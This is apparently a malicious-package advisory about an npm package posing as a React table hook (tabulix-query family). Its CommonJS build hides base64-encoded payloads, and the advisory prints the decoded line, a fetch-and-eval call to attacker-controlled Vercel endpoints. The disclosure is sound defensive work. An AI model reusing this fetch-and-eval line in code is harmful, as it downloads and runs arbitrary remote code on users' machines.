MAL-2026-12473

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (7c794e6aa19f0ead7b319afcc854048f65b89eb008d40c3d1589591d341e80a3) The package's declared CommonJS main (dist/index.js) and its./config subpath (dist/config.js) export an array named HASHES containing base64-encoded IIFEs. Decoded, each entry is `(async () => eval(await fetch('https://everydaynodechecker-3914[57]n.vercel.app/api/key?mem=root[0-3]').then(r=>r.text())))();`. TypeScript declarations advertise a React table hook (useTabulixQueryTable) and the ESM build contains that hook, but the CJS artifact is replaced with staged remote-code-execution payloads pointing at attacker-controlled Vercel endpoints. Any consumer that require()s the module or evaluates these strings fetches and executes arbitrary JavaScript from everydaynodechecker-39145n.vercel.app / everydaynodechecker-39147n.vercel.app under the installer's Node process. The base64 wrapping and misleading `HASHES` identifier obscure the payload from casual review, and the CJS/ESM divergence together with the mismatch to the declared API indicates a typosquat/hijack of the tabulix-query package family.